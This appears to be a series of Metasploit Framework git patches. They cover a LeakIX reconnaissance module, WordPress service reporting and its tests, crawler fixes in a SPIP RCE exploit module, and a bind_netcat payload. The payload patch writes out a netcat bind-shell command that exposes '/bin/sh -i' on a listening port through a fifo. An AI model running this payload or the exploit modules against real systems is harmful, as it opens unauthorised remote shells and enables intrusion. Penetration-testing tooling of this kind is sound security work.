obj.is_a?(Hash) && obj['events'].is_a?(Array) + + all_events.concat(obj['events']) + obj['events'].each { |e| report_event(extract_event_fields(e)) } + print_status("Streamed #{all_events.length} events...") if (all_events.length % 50).zero? + + if maxresults > 0 && all_events.length >= maxresults + all_events = apply_maxresults(all_events, maxresults) + limit_reached = true + end + rescue StandardError + next + end + + display_events(all_events, 'Bulk results') + ensure + cli&.close + end + + def action_host_or_domain(type, target) + print_status("Fetching #{type} details for #{target}...") + data = leakix_request("/#{type}/#{target}") + + if data.nil? + print_error("No information found for #{target}") + return + end + + display_events(collect_host_events(data), target) + end + + def action_subdomains + domain = datastore['TARGET_DOMAIN'] + print_status("Fetching subdomains for #{domain}...") + data = leakix_request("/api/subdomains/#{domain}") + + if data.nil? || !data.is_a?(Array) || data.empty? + print_error("No subdomains found for #{domain}") + return + end + + tbl = Rex::Text::Table.new( + 'Header' => "Subdomains for #{domain}", + 'Indent' => 1, + 'Columns' => ['Subdomain', 'Distinct IPs', 'Last Seen'] + ) + + seen = Set.new + data.each do |entry| + next unless entry.is_a?(Hash) + + subdomain = entry['subdomain'] || '' + next if subdomain.empty? || seen.include?(subdomain) + + seen.add(subdomain) + tbl << [subdomain, entry['distinct_ips'] || '', entry['last_seen'] || ''] + end + + print_status("Found #{seen.length} subdomains") + print_line(tbl.to_s) + save_output(tbl) + end + + def action_plugins + print_status('Fetching available plugins...') + data = leakix_request('/api/plugins') + + if data.nil? || !data.is_a?(Array) || data.empty? + print_error('No plugins found') + return + end + + tbl = Rex::Text::Table.new( + 'Header' => 'LeakIX Plugins', + 'Indent' => 1, + 'Columns' => ['Plugin Name'] + ) + + data.each do |plugin| + name = plugin.is_a?(Hash) ? plugin['name'] : plugin.to_s + tbl << [name] if name.present? + end + + print_status("Found #{tbl.rows.length} plugins") + print_line(tbl.to_s) + save_output(tbl) + end + + # ======================================================================== + # STREAMING HELPERS + # ======================================================================== + + def read_stream_headers(sock) + buf = '' + loop do + chunk = sock.get_once(4096, 30) + fail_with(Failure::Unreachable, 'Connection closed while reading headers') unless chunk + + buf << chunk + break if buf.include?("\r\n\r\n") + end + buf.split("\r\n\r\n", 2) + end + + def stream_ndjson(sock, initial, chunked, &block) + if chunked + stream_dechunk(sock, initial || '', &block) + else + stream_lines(sock, initial || '', &block) + end + end + + def stream_lines(sock, buf) + loop do + while (idx = buf.index("\n")) + line = buf.slice!(0, idx + 1).strip + yield line unless line.empty? + end + + data = begin + sock.get_once(4096, 30) + rescue ::Errno::EPIPE, ::EOFError, ::IOError + nil + end + break unless data + + buf << data + end + yield buf.strip unless buf.strip.empty? + end + + def stream_dechunk(sock, buf) + line_acc = '' + loop do + buf << read_socket(sock) until buf.include?("\r\n") + + size_str, buf = buf.split("\r\n", 2) + size = size_str.strip.to_i(16) + break if size == 0 + + buf << read_socket(sock) while buf.length < size + 2 + + line_acc << buf.slice!(0, size) + buf = buf[(2)..] || '' # trailing \r\n + + while (idx = line_acc.index("\n")) + line = line_acc.slice!(0, idx + 1).strip + yield line unless line.empty? + end + rescue ::Errno::EPIPE, ::EOFError, ::IOError + break + end + + yield line_acc.strip unless line_acc.strip.empty? + end + + def read_socket(sock) + data = sock.get_once(4096, 30) + raise ::EOFError, 'Connection closed' unless data + + data + end + + # ======================================================================== + # MAIN + # ======================================================================== + + def validate_options! + case action.name + when 'SEARCH', 'BULK' + fail_with(Failure::BadConfig, "QUERY is required for #{action.name} action") if datastore['QUERY'].blank? + when 'HOST' + fail_with(Failure::BadConfig, 'TARGET_IP is required for HOST action') if datastore['TARGET_IP'].blank? + when 'DOMAIN', 'SUBDOMAINS' + fail_with(Failure::BadConfig, "TARGET_DOMAIN is required for #{action.name} action") if datastore['TARGET_DOMAIN'].blank? + end + + fail_with(Failure::BadConfig, 'BULK action only supports leak scope') if action.name == 'BULK' && datastore['SCOPE'] == 'service' + fail_with(Failure::BadConfig, 'MAXPAGE must be between 1 and 500') unless datastore['MAXPAGE'].to_i.between?(1, 500) + fail_with(Failure::BadConfig, 'MAXRESULTS must be >= 0') if datastore['MAXRESULTS'].to_i < 0 + end + + def run + validate_options! + + case action.name + when 'SEARCH' then action_search + when 'BULK' then action_bulk + when 'HOST' then action_host_or_domain('host', datastore['TARGET_IP']) + when 'DOMAIN' then action_host_or_domain('domain', datastore['TARGET_DOMAIN']) + when 'SUBDOMAINS' then action_subdomains + when 'PLUGINS' then action_plugins + end + end +end From a4d38cda040cf1ab6e8c0d9099875faa7c378a18 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Sat, 21 Feb 2026 10:52:04 +0100 Subject: [PATCH 016/103] Fix: Resolve rubocop offenses in leakix_search module --- modules/auxiliary/gather/leakix_search.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/gather/leakix_search.rb b/modules/auxiliary/gather/leakix_search.rb index 81dfb59935922..643d79bd415cb 100644 --- a/modules/auxiliary/gather/leakix_search.rb +++ b/modules/auxiliary/gather/leakix_search.rb @@ -23,14 +23,14 @@ def initialize(info = {}) Actions: SEARCH - Query LeakIX with a search string and scope (leak or service). - Paginated, 20 results per page, max 500 pages (10000 results). - Free accounts have lower page limits. + Paginated, 20 results per page, max 500 pages (10000 results). + Free accounts have lower page limits. HOST - Retrieve all known services and leaks for a given IP DOMAIN - Retrieve all known services and leaks for a given domain SUBDOMAINS - List known subdomains for a given domain PLUGINS - List all available LeakIX scanner plugins BULK - Stream all leak results via the bulk API (Pro only, leak scope only). - Use MAXRESULTS to limit the number of collected events. + Use MAXRESULTS to limit the number of collected events. Query examples: +country:"France" @@ -301,7 +301,7 @@ def action_bulk cli.send_request(req) head, body_start = read_stream_headers(cli.conn) - status = head[/HTTP\/[\d.]+ (\d+)/, 1].to_i + status = head[%r{HTTP/[\d.]+ (\d+)}, 1].to_i case status when 401 then fail_with(Failure::BadConfig, '401 Unauthorized - invalid LEAKIX_APIKEY') @@ -439,7 +439,7 @@ def stream_lines(sock, buf) data = begin sock.get_once(4096, 30) - rescue ::Errno::EPIPE, ::EOFError, ::IOError + rescue ::Errno::EPIPE, ::IOError nil end break unless data @@ -467,7 +467,7 @@ def stream_dechunk(sock, buf) line = line_acc.slice!(0, idx + 1).strip yield line unless line.empty? end - rescue ::Errno::EPIPE, ::EOFError, ::IOError + rescue ::Errno::EPIPE, ::IOError break end From d8d844980acf82f385149edd84b8c09b12e009c5 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Sat, 21 Feb 2026 10:53:44 +0100 Subject: [PATCH 017/103] Fix: Remove non-existent LeakPy GitHub reference --- modules/auxiliary/gather/leakix_search.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/leakix_search.rb b/modules/auxiliary/gather/leakix_search.rb index 643d79bd415cb..527bcabdb5be4 100644 --- a/modules/auxiliary/gather/leakix_search.rb +++ b/modules/auxiliary/gather/leakix_search.rb @@ -44,8 +44,7 @@ def initialize(info = {}) ], 'References' => [ ['URL', 'https://leakix.net'], - ['URL', 'https://docs.leakix.net'], - ['URL', 'https://github.com/LeakIX/LeakPy'] + ['URL', 'https://docs.leakix.net'] ], 'License' => MSF_LICENSE, 'Notes' => { From 20dd4af5d1248bd0ea6edf800eade4a9884ffaff Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Sat, 21 Feb 2026 10:56:54 +0100 Subject: [PATCH 018/103] Refactor: DRY print_table and empty_array helpers --- modules/auxiliary/gather/leakix_search.rb | 26 +++++++++++++---------- 1 file changed, 15 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/gather/leakix_search.rb b/modules/auxiliary/gather/leakix_search.rb index 527bcabdb5be4..a5ddd3e65f135 100644 --- a/modules/auxiliary/gather/leakix_search.rb +++ b/modules/auxiliary/gather/leakix_search.rb @@ -216,6 +216,15 @@ def save_output(data) end end + def print_table(tbl) + print_line(tbl.to_s) + save_output(tbl) + end + + def empty_array?(data) + data.nil? || !data.is_a?(Array) || data.empty? + end + def display_events(events, label = nil) if events.empty? print_error('No results found.') @@ -223,9 +232,7 @@ def display_events(events, label = nil) end print_status("#{label || 'Total'}: #{events.length} results") - tbl = events_table(events) - print_line(tbl.to_s) - save_output(tbl) + print_table(events_table(events)) end def collect_host_events(data) @@ -264,14 +271,13 @@ def action_search break end - if data.nil? || !data.is_a?(Array) || data.empty? + if empty_array?(data) print_warning("No more results at page #{page + 1}") break end all_events.concat(data) print_good("Got #{data.length} results from page #{page + 1} (total: #{all_events.length})") - if maxresults > 0 && all_events.length >= maxresults all_events = apply_maxresults(all_events, maxresults) break @@ -353,7 +359,7 @@ def action_subdomains print_status("Fetching subdomains for #{domain}...") data = leakix_request("/api/subdomains/#{domain}") - if data.nil? || !data.is_a?(Array) || data.empty? + if empty_array?(data) print_error("No subdomains found for #{domain}") return end @@ -376,15 +382,14 @@ def action_subdomains end print_status("Found #{seen.length} subdomains") - print_line(tbl.to_s) - save_output(tbl) + print_table(tbl) end def action_plugins print_status('Fetching available plugins...') data = leakix_request('/api/plugins') - if data.nil? || !data.is_a?(Array) || data.empty? + if empty_array?(data) print_error('No plugins found') return end @@ -401,8 +406,7 @@ def action_plugins end print_status("Found #{tbl.rows.length} plugins") - print_line(tbl.to_s) - save_output(tbl) + print_table(tbl) end # ======================================================================== From d069cba900b3343cae600f2d44b797c9878bbd8e Mon Sep 17 00:00:00 2001 From: Nayera Date: Thu, 12 Feb 2026 02:44:36 +0200 Subject: [PATCH 019/103] Update Wordpress Mixin to log services --- lib/msf/core/exploit/remote/http/wordpress.rb | 10 ++++++++++ .../exploit/remote/http/wordpress/base.rb | 6 +++++- .../exploit/remote/http/wordpress/version.rb | 2 ++ .../core/exploit/http/wordpress/base_spec.rb | 19 ++++++++++++++++++ .../exploit/http/wordpress/version_spec.rb | 20 +++++++++++++++++++ 5 files changed, 56 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/http/wordpress.rb b/lib/msf/core/exploit/remote/http/wordpress.rb index 401416faad713..b9a9c88fbbcf6 100644 --- a/lib/msf/core/exploit/remote/http/wordpress.rb +++ b/lib/msf/core/exploit/remote/http/wordpress.rb @@ -38,6 +38,16 @@ def initialize(info = {}) def wp_content_dir datastore['WPCONTENTDIR'] end + + def report_wordpress_service + report_service( + host: rhost, + port: rport, + proto: 'tcp', + name: ssl ? 'https' : 'http', + info: 'WordPress' + ) + end end end end diff --git a/lib/msf/core/exploit/remote/http/wordpress/base.rb b/lib/msf/core/exploit/remote/http/wordpress/base.rb index 44230ee82f4cc..72c88b0e0b335 100644 --- a/lib/msf/core/exploit/remote/http/wordpress/base.rb +++ b/lib/msf/core/exploit/remote/http/wordpress/base.rb @@ -29,7 +29,11 @@ def wordpress_and_online? ) end - return res if res && res.code == 200 && res.body && wordpress_detect_regexes.any? { |r| res.body =~ r } + if res && res.code == 200 && res.body && wordpress_detect_regexes.any? { |r| res.body =~ r } + report_wordpress_service + return res + end + return nil rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e print_error("Error connecting to #{target_uri}: #{e}") diff --git a/lib/msf/core/exploit/remote/http/wordpress/version.rb b/lib/msf/core/exploit/remote/http/wordpress/version.rb index 8b979568e39e4..e80768cbfc6e3 100644 --- a/lib/msf/core/exploit/remote/http/wordpress/version.rb +++ b/lib/msf/core/exploit/remote/http/wordpress/version.rb @@ -152,6 +152,8 @@ def check_version_from_readme(type, name, fixed_version = nil, vuln_introduced_v return check_theme_version_from_style(name, fixed_version, vuln_introduced_version) if type == :theme end + report_wordpress_service + version_res = extract_and_check_version(res.body.to_s, :readme, type, fixed_version, vuln_introduced_version) if version_res == Msf::Exploit::CheckCode::Detected && type == :theme # If no version could be found in readme.txt for a theme, try style.css diff --git a/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb index 115df908b14b0..4803886cc359b 100644 --- a/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb +++ b/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb @@ -12,6 +12,7 @@ describe '#wordpress_and_online?' do before :example do + allow(subject).to receive(:report_service) allow(subject).to receive(:send_request_cgi) do res = Rex::Proto::Http::Response.new res.code = wp_code @@ -48,6 +49,24 @@ it { expect(subject.wordpress_and_online?).to be_nil } end + + context 'when WordPress is detected' do + let(:wp_body) { '' } + + it 'reports the WordPress service over HTTP' do + expect(subject).to receive(:report_service).with(hash_including(name: 'http', info: 'WordPress')) + subject.wordpress_and_online? + end + end + + context 'when WordPress is not detected' do + let(:wp_body) { 'Invalid body' } + + it 'does not report the WordPress service' do + expect(subject).not_to receive(:report_service) + subject.wordpress_and_online? + end + end end end diff --git a/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb index 44cc31be3ff31..8eb43c6d6230f 100644 --- a/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb +++ b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb @@ -64,6 +64,7 @@ describe '#check_version_from_readme' do before :example do + allow(subject).to receive(:report_service) allow(subject).to receive(:send_request_cgi) do |opts| res = Rex::Proto::Http::Response.new res.code = wp_code @@ -181,6 +182,25 @@ expect(ret.reason).to eq(expected_checkcode.reason) end end + + context 'when a readme is found' do + let(:wp_code) { 200 } + let(:wp_body) { 'stable tag: 1.0.0' } + + it 'reports the WordPress service over HTTP' do + expect(subject).to receive(:report_service).with(hash_including(name: 'http', info: 'WordPress')) + subject.send(:check_version_from_readme, :plugin, 'name') + end + end + + context 'when no readme is found for a plugin' do + let(:wp_code) { 404 } + + it 'does not report the WordPress service' do + expect(subject).not_to receive(:report_service) + subject.send(:check_version_from_readme, :plugin, 'name') + end + end end describe '#check_theme_version_from_style' do From 9aa58fcb52b1120fdd92dae5f5d41b6331a8a915 Mon Sep 17 00:00:00 2001 From: Nayeraneru Date: Mon, 16 Feb 2026 21:19:49 +0200 Subject: [PATCH 020/103] Refactor WordPress service reporting --- lib/msf/core/exploit/remote/http/wordpress.rb | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/wordpress.rb b/lib/msf/core/exploit/remote/http/wordpress.rb index b9a9c88fbbcf6..e41b9ce36c551 100644 --- a/lib/msf/core/exploit/remote/http/wordpress.rb +++ b/lib/msf/core/exploit/remote/http/wordpress.rb @@ -38,14 +38,27 @@ def initialize(info = {}) def wp_content_dir datastore['WPCONTENTDIR'] end - + def report_wordpress_service report_service( host: rhost, port: rport, proto: 'tcp', name: ssl ? 'https' : 'http', - info: 'WordPress' + name: 'WordPress', + parents: { + name: ssl ? 'https' : 'http', + host: rhost, + port: rport, + proto: 'tcp', + parents: { + name: 'tcp', + host: rhost, + port: rport, + proto: 'tcp', + parents: nil + } + } ) end end From b227635c7b349ae23d308209e18efbed5db7ce68 Mon Sep 17 00:00:00 2001 From: Nayera <115358236+Nayeraneru@users.noreply.github.com> Date: Mon, 16 Feb 2026 22:23:31 +0200 Subject: [PATCH 021/103] Fix service name reporting for WordPress exploit --- lib/msf/core/exploit/remote/http/wordpress.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/http/wordpress.rb b/lib/msf/core/exploit/remote/http/wordpress.rb index e41b9ce36c551..0260a72ec466a 100644 --- a/lib/msf/core/exploit/remote/http/wordpress.rb +++ b/lib/msf/core/exploit/remote/http/wordpress.rb @@ -44,7 +44,6 @@ def report_wordpress_service host: rhost, port: rport, proto: 'tcp', - name: ssl ? 'https' : 'http', name: 'WordPress', parents: { name: ssl ? 'https' : 'http', From 8fb5e4fcad0b03ff171da6d5e5a15928e61683ff Mon Sep 17 00:00:00 2001 From: Nayera <115358236+Nayeraneru@users.noreply.github.com> Date: Tue, 24 Feb 2026 02:52:46 +0200 Subject: [PATCH 022/103] Update spec/lib/msf/core/exploit/http/wordpress/version_spec.rb Co-authored-by: msutovsky-r7 --- .../exploit/http/wordpress/version_spec.rb | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) diff --git a/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb index 8eb43c6d6230f..8cf3bdfe41424 100644 --- a/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb +++ b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb @@ -188,7 +188,23 @@ let(:wp_body) { 'stable tag: 1.0.0' } it 'reports the WordPress service over HTTP' do - expect(subject).to receive(:report_service).with(hash_including(name: 'http', info: 'WordPress')) + expect(subject).to receive(:report_service).with(hash_including({host: nil, +port: 80, +proto: 'tcp', +name: 'WordPress', +parents: { + name: 'https', + host: nil, + port: 80, + proto: 'tcp', + parents: { + name: 'tcp', + host: nil, + port: 80, + proto: 'tcp', + parents: nil + } +}})) subject.send(:check_version_from_readme, :plugin, 'name') end end From e6452f5879e6546234cdd3054edb3908cc2e92e2 Mon Sep 17 00:00:00 2001 From: Nayeraneru Date: Tue, 24 Feb 2026 03:10:47 +0200 Subject: [PATCH 023/103] hashing adjustment --- .../core/exploit/http/wordpress/base_spec.rb | 21 +++++++++++- .../exploit/http/wordpress/version_spec.rb | 34 ++++++++++--------- 2 files changed, 38 insertions(+), 17 deletions(-) diff --git a/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb index 4803886cc359b..fa086e814996d 100644 --- a/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb +++ b/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb @@ -54,7 +54,26 @@ let(:wp_body) { '' } it 'reports the WordPress service over HTTP' do - expect(subject).to receive(:report_service).with(hash_including(name: 'http', info: 'WordPress')) + expect(subject).to receive(:report_service).with(hash_including({host: nil, + port: 80, + proto: 'tcp', + name: 'WordPress', + parents: { + name: 'https', + host: nil, + port: + 80, + proto: 'tcp', + parents: { + name: 'tcp', + host: + nil, + port: + 80, + proto: 'tcp', + parents: nil + } + }})) subject.wordpress_and_online? end end diff --git a/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb index 8cf3bdfe41424..2a7833e0e3551 100644 --- a/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb +++ b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb @@ -189,22 +189,24 @@ it 'reports the WordPress service over HTTP' do expect(subject).to receive(:report_service).with(hash_including({host: nil, -port: 80, -proto: 'tcp', -name: 'WordPress', -parents: { - name: 'https', - host: nil, - port: 80, - proto: 'tcp', - parents: { - name: 'tcp', - host: nil, - port: 80, - proto: 'tcp', - parents: nil - } -}})) + port: 80, + proto: 'tcp', + name: 'WordPress', + parents: { + name: 'https', + host: nil, + port: 80, + proto: 'tcp', + parents: { + name: 'tcp', + host: + nil, + port: 80, + proto: 'tcp', + parents: + nil + } + }})) subject.send(:check_version_from_readme, :plugin, 'name') end end From c905ec66e45e99ff69b177c40422aac8f05ac1da Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Tue, 24 Feb 2026 23:19:03 +0100 Subject: [PATCH 024/103] Update modules/exploits/multi/http/spip_saisies_rce.rb Co-authored-by: Julien Voisin --- modules/exploits/multi/http/spip_saisies_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/spip_saisies_rce.rb b/modules/exploits/multi/http/spip_saisies_rce.rb index de5af7b054f54..4be98058fd356 100644 --- a/modules/exploits/multi/http/spip_saisies_rce.rb +++ b/modules/exploits/multi/http/spip_saisies_rce.rb @@ -178,7 +178,7 @@ def extract_internal_links(res) doc.css('a[href]').each do |a| href = a['href'].to_s.strip next if href.empty? || href.start_with?('#', 'mailto:', 'javascript:') - next if href.match?(/\.(css|js|png|jpe?g|gif|svg|ico|woff2?|xml|pdf|zip|gz)(\?|$)/i) + next if href.match?(/\.(?:css|js|png|jpe?g|gif|svg|ico|woff2?|xml|pdf|zip|gz)(?:\?|$)/i) # Resolve relative URLs to absolute paths if href.start_with?('http://', 'https://') From ece296ba6a6a8a92ca165e40fab2527118f5cb03 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Tue, 24 Feb 2026 23:23:17 +0100 Subject: [PATCH 025/103] Fix: Address jvoisin's PR review feedback - Remove IOC_IN_LOGS (payload is in POST body, not logged) - Remove redundant early filter (regex handles it) - Use non-capturing groups in static asset regex - Filter protocol-relative URLs before link resolution - Clarify relative vs absolute path handling in crawler Co-Authored-By: jvoisin <325724+jvoisin@users.noreply.github.com> --- modules/exploits/multi/http/spip_saisies_rce.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/spip_saisies_rce.rb b/modules/exploits/multi/http/spip_saisies_rce.rb index 4be98058fd356..a0df58d223e2f 100644 --- a/modules/exploits/multi/http/spip_saisies_rce.rb +++ b/modules/exploits/multi/http/spip_saisies_rce.rb @@ -72,7 +72,7 @@ def initialize(info = {}) 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [IOC_IN_LOGS] + 'SideEffects' => [] } ) ) @@ -177,12 +177,13 @@ def extract_internal_links(res) doc.css('a[href]').each do |a| href = a['href'].to_s.strip - next if href.empty? || href.start_with?('#', 'mailto:', 'javascript:') next if href.match?(/\.(?:css|js|png|jpe?g|gif|svg|ico|woff2?|xml|pdf|zip|gz)(?:\?|$)/i) + # Skip protocol-relative URLs (//cdn.example.com) + next if href.start_with?('//') + # Resolve relative URLs to absolute paths if href.start_with?('http://', 'https://') - # Only follow links on the same host uri = begin URI.parse(href) rescue StandardError From 3d17c866102090c27acc23c5a41bea696e7048e3 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Wed, 25 Feb 2026 03:19:52 -0500 Subject: [PATCH 026/103] feat: exposing more configuration as advanced options in bind_netcat payload --- modules/payloads/singles/cmd/unix/bind_netcat.rb | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/modules/payloads/singles/cmd/unix/bind_netcat.rb b/modules/payloads/singles/cmd/unix/bind_netcat.rb index 7940233137c6b..07f195b08250f 100644 --- a/modules/payloads/singles/cmd/unix/bind_netcat.rb +++ b/modules/payloads/singles/cmd/unix/bind_netcat.rb @@ -37,7 +37,8 @@ def initialize(info = {}) [ OptString.new('NetcatPath', [true, 'The path to the Netcat executable', 'nc']), OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh']), - OptBool.new('ShortCommand', [false, 'Use a shorter command string (hardcoded mkfifo name and shell)', false]) + OptString.new('FifoPath', [true, 'The path to the FIFO file to use, default is random', "/tmp/#{Rex::Text.rand_text_alpha_lower(4..7)}"]), + OptBool.new('DeleteFifo', [true, 'Whether to delete the FIFO file after execution', true]) ] ) end @@ -54,12 +55,8 @@ def generate(_opts = {}) # Returns the command string to use for execution # def command_string - if datastore['ShortCommand'] - payload = "mkfifo p;#{datastore["ShellPath"]} -i

&1|#{datastore["NetcatPath"]} -l #{datastore['LPORT']}>p" - else - backpipe = Rex::Text.rand_text_alpha_lower(4..7) - payload = "mkfifo /tmp/#{backpipe}; (#{datastore['NetcatPath']} -l -p #{datastore['LPORT']} ||#{datastore['NetcatPath']} -l #{datastore['LPORT']})0/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}" - end - payload + command = "mkfifo #{datastore['FifoPath']}; #{datastore['ShellPath']} -i <#{datastore['FifoPath']} 2>&1 | #{datastore['NetcatPath']} -lp #{datastore['LPORT']} >#{datastore['FifoPath']}" + command += "; rm #{datastore['FifoPath']}" if datastore['DeleteFifo'] + command end end From a0cf8b488b16b0e1f8ccee1c0f076311059850ff Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Wed, 25 Feb 2026 13:10:30 +0100 Subject: [PATCH 027/103] Fix: Resolve protocol-relative URLs instead of skipping them --- modules/exploits/multi/http/spip_saisies_rce.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/spip_saisies_rce.rb b/modules/exploits/multi/http/spip_saisies_rce.rb index a0df58d223e2f..e2199953b8436 100644 --- a/modules/exploits/multi/http/spip_saisies_rce.rb +++ b/modules/exploits/multi/http/spip_saisies_rce.rb @@ -179,10 +179,12 @@ def extract_internal_links(res) href = a['href'].to_s.strip next if href.match?(/\.(?:css|js|png|jpe?g|gif|svg|ico|woff2?|xml|pdf|zip|gz)(?:\?|$)/i) - # Skip protocol-relative URLs (//cdn.example.com) - next if href.start_with?('//') + # Resolve protocol-relative URLs (//example.com/page) + if href.start_with?('//') + href = "#{ssl ? 'https' : 'http'}:#{href}" + end - # Resolve relative URLs to absolute paths + # Resolve absolute URLs to paths if href.start_with?('http://', 'https://') uri = begin URI.parse(href) From 73bc6ef1189d9315b7380b8bf8c84289ef07400e Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Wed, 25 Feb 2026 09:25:25 -0500 Subject: [PATCH 028/103] feat: add netcat flavor option to bind_netcat module for linux and bsd compatibility --- modules/payloads/singles/cmd/unix/bind_netcat.rb | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) diff --git a/modules/payloads/singles/cmd/unix/bind_netcat.rb b/modules/payloads/singles/cmd/unix/bind_netcat.rb index 07f195b08250f..896879a789a35 100644 --- a/modules/payloads/singles/cmd/unix/bind_netcat.rb +++ b/modules/payloads/singles/cmd/unix/bind_netcat.rb @@ -36,6 +36,7 @@ def initialize(info = {}) register_advanced_options( [ OptString.new('NetcatPath', [true, 'The path to the Netcat executable', 'nc']), + OptEnum.new('NetcatFlavor', [true, 'The flavor of Netcat to use', 'auto', ['auto', 'default', 'openbsd']]), OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh']), OptString.new('FifoPath', [true, 'The path to the FIFO file to use, default is random', "/tmp/#{Rex::Text.rand_text_alpha_lower(4..7)}"]), OptBool.new('DeleteFifo', [true, 'Whether to delete the FIFO file after execution', true]) @@ -55,7 +56,19 @@ def generate(_opts = {}) # Returns the command string to use for execution # def command_string - command = "mkfifo #{datastore['FifoPath']}; #{datastore['ShellPath']} -i <#{datastore['FifoPath']} 2>&1 | #{datastore['NetcatPath']} -lp #{datastore['LPORT']} >#{datastore['FifoPath']}" + nc_linux = "#{datastore['NetcatPath']} -lp #{datastore['LPORT']}" + nc_openbsd = "#{datastore['NetcatPath']} -l #{datastore['LPORT']}" + nc_auto = "(#{nc_linux} || #{nc_openbsd})" + command = "mkfifo #{datastore['FifoPath']}; #{datastore['ShellPath']} -i <#{datastore['FifoPath']} 2>&1 |" + case datastore['NetcatFlavor'] + when 'default' + command += " #{nc_linux}" + when 'openbsd' + command += " #{nc_openbsd}" + else + command += " #{nc_auto}" + end + command += ">#{datastore['FifoPath']}" command += "; rm #{datastore['FifoPath']}" if datastore['DeleteFifo'] command end From efe3ef8986265e31fdd6862db215afd5a8f42504 Mon Sep 17 00:00:00 2001 From: g0t mi1k Date: Thu, 26 Feb 2026 14:48:01 +0000 Subject: [PATCH 029/103] Running-Private-Modules.md: Remove duplicate cmds --- docs/metasploit-framework.wiki/Running-Private-Modules.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/docs/metasploit-framework.wiki/Running-Private-Modules.md b/docs/metasploit-framework.wiki/Running-Private-Modules.md index 6d1ec4f6b4ce5..d568d966de452 100644 --- a/docs/metasploit-framework.wiki/Running-Private-Modules.md +++ b/docs/metasploit-framework.wiki/Running-Private-Modules.md @@ -37,8 +37,6 @@ For full details: If you already have msfconsole running, use a `reload_all` command to pick up your new modules. If not, just start msfconsole and they'll be picked up automatically. If you'd like to test with something generic, I have a module posted up as a gist, here: , so let's give it a shot: ```bash -mkdir -p $HOME/.msf4/modules/exploits/test -curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gist.github.com/todb-r7/5935519/raw/17f7e40ab9054051c1f7e0655c6f8c8a1787d4f5/test_module.rb todb@ubuntu:~$ mkdir -p $HOME/.msf4/modules/exploits/test todb@ubuntu:~$ curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gist.github.com/todb-r7/5935519/raw/6e5d2da61c82b0aa8cec36825363118e9dd5f86b/test_module.rb % Total % Received % Xferd Average Speed Time Time Time Current From 5c4e5e414f548d72a767a0aca185360aad64d353 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Thu, 26 Feb 2026 17:19:43 +0100 Subject: [PATCH 030/103] Fix: Use validate method with OptionValidateError instead of validate_options! --- modules/auxiliary/gather/leakix_search.rb | 21 +++++++++++++-------- 1 file changed, 13 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/gather/leakix_search.rb b/modules/auxiliary/gather/leakix_search.rb index a5ddd3e65f135..6e1fb637b3e00 100644 --- a/modules/auxiliary/gather/leakix_search.rb +++ b/modules/auxiliary/gather/leakix_search.rb @@ -488,23 +488,28 @@ def read_socket(sock) # MAIN # ======================================================================== - def validate_options! + def validate + super + + errors = {} + case action.name when 'SEARCH', 'BULK' - fail_with(Failure::BadConfig, "QUERY is required for #{action.name} action") if datastore['QUERY'].blank? + errors['QUERY'] = "QUERY is required for #{action.name} action" if datastore['QUERY'].blank? when 'HOST' - fail_with(Failure::BadConfig, 'TARGET_IP is required for HOST action') if datastore['TARGET_IP'].blank? + errors['TARGET_IP'] = 'TARGET_IP is required for HOST action' if datastore['TARGET_IP'].blank? when 'DOMAIN', 'SUBDOMAINS' - fail_with(Failure::BadConfig, "TARGET_DOMAIN is required for #{action.name} action") if 